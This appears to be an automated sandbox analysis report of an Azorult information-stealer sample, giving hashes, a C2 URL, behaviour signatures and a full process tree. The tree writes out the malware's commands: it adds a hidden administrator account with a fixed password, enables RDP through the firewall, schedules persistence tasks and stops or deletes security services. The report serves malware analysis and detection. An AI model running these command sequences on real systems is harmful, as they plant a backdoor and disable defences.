Overview

overview

10

Static

static

5

Azorult.exe

windows10-ltsc 2021-x64

10

Analysis

  • max time kernel
    300s
  • max time network
    299s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20250218-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20250218-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    11/03/2025, 02:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Azorult.exe

  • Size

    10.0MB

  • MD5

    5df0cf8b8aa7e56884f71da3720fb2c6

  • SHA1

    0610e911ade5d666a45b41f771903170af58a05a

  • SHA256

    dd396a3f66ad728660023cb116235f3cb1c35d679a155b08ec6a9ccaf966c360

  • SHA512

    724ce5e285c0ec68464c39292be62b80124909e98a6f1cd4a8ddee9de24b9583112012200bf10261354de478d77a5844cb843673235db3f704a307976164669a

  • SSDEEP

    196608:NjIrZDbMLq8TKqTNNRYWzmf1e4Qx/PMPTZPkTGX9sqiL/aVvTA:N2Z4DRYWXdaZPGy9sJL/aVv

Score
10/10
azorultrmsaspackv2defense_evasiondiscoveryexecutioninfostealerlateral_movementpersistenceprivilege_escalationrattrojanupx

Malware Config

Extracted

Family

azorult

C2

http://boglogov.site/index.php

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Azorult family
    azorult
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    defense_evasion
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Rms family
    rms
  • UAC bypass 3 TTPs 5 IoCs
    defense_evasiontrojan
  • Windows security bypass 2 TTPs 1 IoCs
    defense_evasiontrojan
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

    lateral_movement
  • Blocks application from running via registry modification 13 IoCs

    Adds application to list of disallowed applications.

    defense_evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 23 IoCs
    defense_evasion
  • Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
    persistence
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    defense_evasion
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 11 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 62 IoCs
    discovery
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 7 IoCs
    persistence
  • Password Policy Discovery 1 TTPs

    Attempt to access detailed information about the password policy used within an enterprise network.

    discovery
  • AutoIT Executable 4 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 5 IoCs
  • Hide Artifacts: Hidden Users 1 TTPs 4 IoCs
    defense_evasion
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 64 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 7 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 6 IoCs
  • NTFS ADS 1 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 27 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    defense_evasion
  • Views/modifies file attributes 1 TTPs 6 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Azorult.exe
    "C:\Users\Admin\AppData\Local\Temp\Azorult.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • UAC bypass
    • Blocks application from running via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Modifies WinLogon
    • Hide Artifacts: Hidden Users
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4136
    • C:\ProgramData\Microsoft\Intel\wini.exe
      C:\ProgramData\Microsoft\Intel\wini.exe -pnaxui
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\Windows\install.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1912
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Programdata\Windows\install.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4712
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg1.reg"
            5⤵
            • UAC bypass
            • Windows security bypass
            • Hide Artifacts: Hidden Users
            • Runs .reg file with regedit
            PID:964
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "reg2.reg"
            5⤵
            • Runs .reg file with regedit
            PID:4188
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            5⤵
            • Delays execution with timeout.exe
            PID:4388
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /silentinstall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:976
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /firewall
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:2532
          • C:\ProgramData\Windows\rutserv.exe
            rutserv.exe /start
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:832
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows\*.*
            5⤵
            • Views/modifies file attributes
            PID:1128
          • C:\Windows\SysWOW64\attrib.exe
            ATTRIB +H +S C:\Programdata\Windows
            5⤵
            • Views/modifies file attributes
            PID:324
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            5⤵
            • Launches sc.exe
            PID:2720
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            5⤵
            • Launches sc.exe
            PID:2688
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Microsoft Framework"
            5⤵
            • Launches sc.exe
            PID:2296
      • C:\ProgramData\Windows\winit.exe
        "C:\ProgramData\Windows\winit.exe"
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2844
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
          4⤵
            PID:2984
            • C:\Windows\SysWOW64\timeout.exe
              timeout 5
              5⤵
              • Delays execution with timeout.exe
              PID:2188
      • C:\programdata\install\cheat.exe
        C:\programdata\install\cheat.exe -pnaxui
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\ProgramData\Microsoft\Intel\taskhost.exe
          "C:\ProgramData\Microsoft\Intel\taskhost.exe"
          3⤵
          • Checks computer location settings
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4700
          • C:\programdata\microsoft\intel\P.exe
            C:\programdata\microsoft\intel\P.exe
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetWindowsHookEx
            PID:2348
          • C:\programdata\microsoft\intel\R8.exe
            C:\programdata\microsoft\intel\R8.exe
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious use of SetWindowsHookEx
            PID:3604
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\rdp\run.vbs"
              5⤵
              • Checks computer location settings
              PID:4704
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\rdp\pause.bat" "
                6⤵
                • Checks computer location settings
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:2040
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2804
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im Rar.exe
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3728
                • C:\Windows\SysWOW64\timeout.exe
                  timeout 3
                  7⤵
                  • Delays execution with timeout.exe
                  PID:4492
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  7⤵
                    PID:396
                  • C:\rdp\Rar.exe
                    "Rar.exe" e -p555 db.rar
                    7⤵
                    • Executes dropped EXE
                    PID:2876
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /f /im Rar.exe
                    7⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2216
                  • C:\Windows\SysWOW64\timeout.exe
                    timeout 2
                    7⤵
                    • Delays execution with timeout.exe
                    PID:2948
                  • C:\Windows\SysWOW64\WScript.exe
                    "C:\Windows\System32\WScript.exe" "C:\rdp\install.vbs"
                    7⤵
                    • Checks computer location settings
                    PID:3900
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c ""C:\rdp\bat.bat" "
                      8⤵
                        PID:396
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
                          9⤵
                            PID:3992
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
                            9⤵
                            • System Location Discovery: System Language Discovery
                            PID:4152
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
                            9⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:4984
                          • C:\Windows\SysWOW64\net.exe
                            net.exe user "john" "12345" /add
                            9⤵
                              PID:1012
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 user "john" "12345" /add
                                10⤵
                                  PID:2872
                              • C:\Windows\SysWOW64\chcp.com
                                chcp 1251
                                9⤵
                                  PID:1556
                                • C:\Windows\SysWOW64\net.exe
                                  net localgroup "Администраторы" "John" /add
                                  9⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2660
                                  • C:\Windows\SysWOW64\net1.exe
                                    C:\Windows\system32\net1 localgroup "Администраторы" "John" /add
                                    10⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:1404
                                • C:\Windows\SysWOW64\net.exe
                                  net localgroup "Administratorzy" "John" /add
                                  9⤵
                                    PID:2800
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 localgroup "Administratorzy" "John" /add
                                      10⤵
                                        PID:4848
                                    • C:\Windows\SysWOW64\net.exe
                                      net localgroup "Administrators" John /add
                                      9⤵
                                        PID:3796
                                        • C:\Windows\SysWOW64\net1.exe
                                          C:\Windows\system32\net1 localgroup "Administrators" John /add
                                          10⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3408
                                      • C:\Windows\SysWOW64\net.exe
                                        net localgroup "Administradores" John /add
                                        9⤵
                                          PID:2456
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 localgroup "Administradores" John /add
                                            10⤵
                                              PID:4524
                                          • C:\Windows\SysWOW64\net.exe
                                            net localgroup "Пользователи удаленного рабочего стола" John /add
                                            9⤵
                                              PID:2508
                                              • C:\Windows\SysWOW64\net1.exe
                                                C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                                10⤵
                                                  PID:1736
                                              • C:\Windows\SysWOW64\net.exe
                                                net localgroup "Пользователи удаленного управления" John /add
                                                9⤵
                                                • System Location Discovery: System Language Discovery
                                                PID:2188
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" John /add
                                                  10⤵
                                                    PID:4100
                                                • C:\Windows\SysWOW64\net.exe
                                                  net localgroup "Remote Desktop Users" John /add
                                                  9⤵
                                                  • Remote Service Session Hijacking: RDP Hijacking
                                                  PID:3220
                                                  • C:\Windows\SysWOW64\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Remote Desktop Users" John /add
                                                    10⤵
                                                    • Remote Service Session Hijacking: RDP Hijacking
                                                    PID:4092
                                                • C:\Windows\SysWOW64\net.exe
                                                  net localgroup "Usuarios de escritorio remoto" John /add
                                                  9⤵
                                                    PID:2140
                                                    • C:\Windows\SysWOW64\net1.exe
                                                      C:\Windows\system32\net1 localgroup "Usuarios de escritorio remoto" John /add
                                                      10⤵
                                                        PID:4656
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                      9⤵
                                                        PID:1764
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 localgroup "Uzytkownicy pulpitu zdalnego" John /add
                                                          10⤵
                                                          • System Location Discovery: System Language Discovery
                                                          PID:4420
                                                      • C:\rdp\RDPWInst.exe
                                                        "RDPWInst.exe" -i -o
                                                        9⤵
                                                        • Server Software Component: Terminal Services DLL
                                                        • Executes dropped EXE
                                                        • Modifies WinLogon
                                                        • Drops file in System32 directory
                                                        • Drops file in Program Files directory
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:3048
                                                        • C:\Windows\SYSTEM32\netsh.exe
                                                          netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                          10⤵
                                                          • Modifies Windows Firewall
                                                          • Event Triggered Execution: Netsh Helper DLL
                                                          PID:636
                                                      • C:\rdp\RDPWInst.exe
                                                        "RDPWInst.exe" -w
                                                        9⤵
                                                        • Executes dropped EXE
                                                        • System Location Discovery: System Language Discovery
                                                        PID:3864
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "john" /t REG_DWORD /d 0 /f
                                                        9⤵
                                                        • Hide Artifacts: Hidden Users
                                                        PID:2268
                                                      • C:\Windows\SysWOW64\net.exe
                                                        net accounts /maxpwage:unlimited
                                                        9⤵
                                                          PID:3768
                                                          • C:\Windows\SysWOW64\net1.exe
                                                            C:\Windows\system32\net1 accounts /maxpwage:unlimited
                                                            10⤵
                                                              PID:4588
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\Program Files\RDP Wrapper\*.*"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • Drops file in Program Files directory
                                                            • Views/modifies file attributes
                                                            PID:4624
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\Program Files\RDP Wrapper"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • Drops file in Program Files directory
                                                            • Views/modifies file attributes
                                                            PID:2476
                                                          • C:\Windows\SysWOW64\attrib.exe
                                                            attrib +s +h "C:\rdp"
                                                            9⤵
                                                            • Sets file to hidden
                                                            • System Location Discovery: System Language Discovery
                                                            • Views/modifies file attributes
                                                            PID:4536
                                                      • C:\Windows\SysWOW64\timeout.exe
                                                        timeout 2
                                                        7⤵
                                                        • Delays execution with timeout.exe
                                                        PID:1948
                                                • C:\ProgramData\Microsoft\Intel\winlog.exe
                                                  C:\ProgramData\Microsoft\Intel\winlog.exe -p123
                                                  4⤵
                                                  • Checks computer location settings
                                                  • Executes dropped EXE
                                                  PID:4500
                                                  • C:\ProgramData\Microsoft\Intel\winlogon.exe
                                                    "C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                    5⤵
                                                    • Checks computer location settings
                                                    • Executes dropped EXE
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:844
                                                    • C:\Windows\system32\cmd.exe
                                                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\5A50.tmp\5A51.bat C:\ProgramData\Microsoft\Intel\winlogon.exe"
                                                      6⤵
                                                        PID:2472
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          PowerShell.exe -command "Import-Module applocker" ; "Set-AppLockerPolicy -XMLPolicy C:\ProgramData\microsoft\Temp\5.xml"
                                                          7⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Drops file in System32 directory
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:3036
                                                  • C:\Programdata\RealtekHD\taskhostw.exe
                                                    C:\Programdata\RealtekHD\taskhostw.exe
                                                    4⤵
                                                    • Modifies visiblity of hidden/system files in Explorer
                                                    • Executes dropped EXE
                                                    • Adds Run key to start application
                                                    • NTFS ADS
                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:1916
                                                    • C:\Programdata\WindowsTask\winlogon.exe
                                                      C:\Programdata\WindowsTask\winlogon.exe
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3052
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        C:\Windows\system32\cmd.exe /C schtasks /query /fo list
                                                        6⤵
                                                        • System Location Discovery: System Language Discovery
                                                        PID:2776
                                                        • C:\Windows\System32\Conhost.exe
                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                          7⤵
                                                            PID:1212
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /query /fo list
                                                            7⤵
                                                              PID:4492
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ipconfig /flushdns
                                                          5⤵
                                                            PID:2352
                                                            • C:\Windows\system32\ipconfig.exe
                                                              ipconfig /flushdns
                                                              6⤵
                                                              • Gathers network information
                                                              PID:4420
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c gpupdate /force
                                                            5⤵
                                                              PID:3604
                                                              • C:\Windows\system32\gpupdate.exe
                                                                gpupdate /force
                                                                6⤵
                                                                  PID:4484
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\SystemC" /TR "C:\Programdata\RealtekHD\taskhostw.exe" /SC MINUTE /MO 1
                                                              4⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:2876
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              "C:\Windows\SysWOW64\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Cleaner" /TR "C:\Programdata\WindowsTask\winlogon.exe" /SC ONLOGON /RL HIGHEST
                                                              4⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:4728
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\H.bat
                                                              4⤵
                                                              • Drops file in Drivers directory
                                                              PID:3976
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c C:\programdata\microsoft\temp\Temp.bat
                                                              4⤵
                                                                PID:2800
                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                  TIMEOUT /T 5 /NOBREAK
                                                                  5⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:1036
                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                  TIMEOUT /T 3 /NOBREAK
                                                                  5⤵
                                                                  • Delays execution with timeout.exe
                                                                  PID:2616
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  TASKKILL /IM 1.exe /T /F
                                                                  5⤵
                                                                  • System Location Discovery: System Language Discovery
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:2272
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  TASKKILL /IM P.exe /T /F
                                                                  5⤵
                                                                  • Kills process with taskkill
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:3708
                                                                • C:\Windows\SysWOW64\attrib.exe
                                                                  ATTRIB +H +S C:\Programdata\Windows
                                                                  5⤵
                                                                  • Views/modifies file attributes
                                                                  PID:4092
                                                          • C:\programdata\install\ink.exe
                                                            C:\programdata\install\ink.exe
                                                            2⤵
                                                            • Executes dropped EXE
                                                            PID:1408
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c sc start appidsvc
                                                            2⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:3856
                                                            • C:\Windows\SysWOW64\sc.exe
                                                              sc start appidsvc
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:3296
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c sc start appmgmt
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:2124
                                                            • C:\Windows\SysWOW64\sc.exe
                                                              sc start appmgmt
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:3824
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c sc config appidsvc start= auto
                                                            2⤵
                                                            • Suspicious use of WriteProcessMemory
                                                            PID:3740
                                                            • C:\Windows\SysWOW64\sc.exe
                                                              sc config appidsvc start= auto
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:3640
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c sc config appmgmt start= auto
                                                            2⤵
                                                              PID:1952
                                                              • C:\Windows\SysWOW64\sc.exe
                                                                sc config appmgmt start= auto
                                                                3⤵
                                                                • Launches sc.exe
                                                                PID:232
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c sc delete swprv
                                                              2⤵
                                                                PID:4196
                                                                • C:\Windows\SysWOW64\sc.exe
                                                                  sc delete swprv
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  • System Location Discovery: System Language Discovery
                                                                  PID:560
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c sc stop mbamservice
                                                                2⤵
                                                                  PID:2908
                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                    sc stop mbamservice
                                                                    3⤵
                                                                    • Launches sc.exe
                                                                    PID:3008
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
                                                                  2⤵
                                                                    PID:1212
                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                      sc stop bytefenceservice
                                                                      3⤵
                                                                      • Launches sc.exe
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:4560
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
                                                                    2⤵
                                                                      PID:4484
                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                        sc delete bytefenceservice
                                                                        3⤵
                                                                        • Launches sc.exe
                                                                        PID:2040
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c sc delete mbamservice
                                                                      2⤵
                                                                        PID:3924
                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                          sc delete mbamservice
                                                                          3⤵
                                                                          • Launches sc.exe
                                                                          PID:4548
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c sc delete crmsvc
                                                                        2⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:3472
                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                          sc delete crmsvc
                                                                          3⤵
                                                                          • Launches sc.exe
                                                                          PID:2476
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c sc delete "windows node"
                                                                        2⤵
                                                                          PID:3648
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc delete "windows node"
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:2480
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c sc stop Adobeflashplayer
                                                                          2⤵
                                                                            PID:4152
                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                              sc stop Adobeflashplayer
                                                                              3⤵
                                                                              • Launches sc.exe
                                                                              PID:4492
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c sc delete AdobeFlashPlayer
                                                                            2⤵
                                                                              PID:4580
                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                sc delete AdobeFlashPlayer
                                                                                3⤵
                                                                                • Launches sc.exe
                                                                                PID:2408
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c sc stop MoonTitle
                                                                              2⤵
                                                                                PID:3100
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc stop MoonTitle
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:2872
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c sc delete MoonTitle"
                                                                                2⤵
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:2296
                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                  sc delete MoonTitle"
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:680
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c sc stop AudioServer
                                                                                2⤵
                                                                                  PID:2252
                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                    sc stop AudioServer
                                                                                    3⤵
                                                                                    • Launches sc.exe
                                                                                    PID:232
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c sc delete AudioServer"
                                                                                  2⤵
                                                                                    PID:3976
                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                      sc delete AudioServer"
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:380
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c sc stop clr_optimization_v4.0.30318_64
                                                                                    2⤵
                                                                                      PID:2228
                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                        sc stop clr_optimization_v4.0.30318_64
                                                                                        3⤵
                                                                                        • Launches sc.exe
                                                                                        PID:3908
                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c sc delete clr_optimization_v4.0.30318_64"
                                                                                      2⤵
                                                                                        PID:2424
